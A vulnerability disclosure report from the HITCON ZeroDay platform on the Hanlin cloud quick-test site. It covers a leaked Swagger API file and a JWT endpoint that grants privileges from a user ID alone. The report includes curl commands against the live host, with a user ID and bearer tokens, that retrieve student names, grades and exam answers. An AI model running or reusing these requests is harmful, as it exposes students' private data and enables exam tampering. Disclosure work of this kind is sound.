翰林雲端速測 資訊洩漏、權限控管、邏輯錯誤漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00292
  •  發信 Vendor: 翰林出版社
  • Title: 翰林雲端速測 資訊洩漏、權限控管、邏輯錯誤漏洞
  • Introduction: 權限未控管造成資訊外洩、JWT Token簽發邏輯錯誤

處理狀態

目前狀態

公開
Last Update : 2021/08/03
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2021/06/03 11:41:53 : 新提交 (由 Hsuan 更新此狀態)
  • 2021/06/04 14:07:35 : 新提交 (由 Hsuan 更新此狀態)
  • 2021/06/04 14:11:29 : 新提交 (由 Hsuan 更新此狀態)
  • 2021/06/06 23:24:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/06/07 10:58:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/06/07 10:58:03 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/06/07 10:58:03 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/08/03 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2021-00292
  • 通報者:hsuan1117 (Hsuan)
  • 風險:高
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://qt.hle.com.tw/

敘述

該網站之API文件因洩漏於公開網路,可公開查找到
https://hanlintest.ehanlin.com.tw/hanlintest-api/swagger/v1/swagger.json
API /Member/auth 能夠產生JWT並進行下一步攻擊
在該API中填入上面資訊洩漏所得的user id 可以產生「具有權限」的JWT Token

curl -X 'POST' \
  'https://hanlintest.ehanlin.com.tw/hanlintest-api/Member/auth' \
  -H 'accept: text/plain' \
  -H 'Content-Type: application/json' \
  -d '{
  "userId": "317df0ea-d1ab-453b-859f-1204722351bf"
}'

會回傳一串具有權限的JWT Token
圖片
我們透過 /Course/create 驗證該JWT Token 具有權限
圖片

透過這個Token可以呼叫API
舉 /Examine/answerMetadata/list 這個API為例

curl -X 'GET' \
  'https://hanlintest.ehanlin.com.tw/hanlintest-api/Examine/answerMetadata/list?activityId=60b3a90b61f5c5000191e832&pageSize=1' \
  -H 'accept: */*' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySWQiOiIzMTdkZjBlYS1kMWFiLTQ1M2ItODU5Zi0xMjA0NzIyMzUxYmYiLCJuYmYiOjE2MjI2ODkxMzgsImV4cCI6MTYyMjk0ODMzOCwiaWF0IjoxNjIyNjg5MTM4fQ.In6NmhR-FVyyQDQqfwg_2X5ihlN8xQBfbR54o98g45g'

其回傳的內容,不但具有姓名還有班級座號成績,這些資訊具有隱私性而不應被公開存取
圖片

當學生取得或透過遍歷拿到一串數字的考試碼,以下的API會將考試資訊洩漏

curl -X 'GET' \
  'https://hanlintest.ehanlin.com.tw/hanlintest-api/Examine/testItem?activationId=55088971' \
  -H 'accept: */*' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySWQiOiIzMTdkZjBlYS1kMWFiLTQ1M2ItODU5Zi0xMjA0NzIyMzUxYmYiLCJuYmYiOjE2MjI3ODU1NjIsImV4cCI6MTYyMzA0NDc2MiwiaWF0IjoxNjIyNzg1NTYyfQ.a9CwHcpBpzKYlDwF9XeHJoAJDpwc1pvzPhH0ixEK9nM'

圖片
這裡的ExamId會導致使用者可以透過API任意操作考卷

拿到之後就可以使用下面的API
達到資訊洩漏
Payload:

curl -X 'GET' \
  'https://hanlintest.ehanlin.com.tw/hanlintest-api/Examine/paperMetadata?id=60aa745df522d57c86b5dae2_60b3a90b61f5c5000191e832' \
  -H 'accept: */*' 

圖片
CourseId , ActivityId, createdBy 這三個參數是關鍵的參數
下面的API不但可以匯出學生成績、刪除整張考卷、還可以利用裡面的內容取得答案

 curl -X 'GET' \
  'https://hanlintest.ehanlin.com.tw/hanlintest-api/Examine/answer/list?activityId=60b3a90b61f5c5000191e832' \
  -H 'accept: */*' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySWQiOiIzMTdkZjBlYS1kMWFiLTQ1M2ItODU5Zi0xMjA0NzIyMzUxYmYiLCJuYmYiOjE2MjI3ODY1NzMsImV4cCI6MTYyMzA0NTc3MywiaWF0IjoxNjIyNzg2NTczfQ.TvQZCyh426DVY4FZMbLSLXRX4ea7_DjH1Aj8lQ2PRvs'

圖片

目前疫情期間,該網站服務眾多學生,為重要之漏洞
特此聲明:本人無任何惡意,相關漏洞皆為無意間發現之,也未進行攻擊,立即通報

修補建議

JWT 簽發的時候必須要有額外的驗證,不能僅以user id 來簽發

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;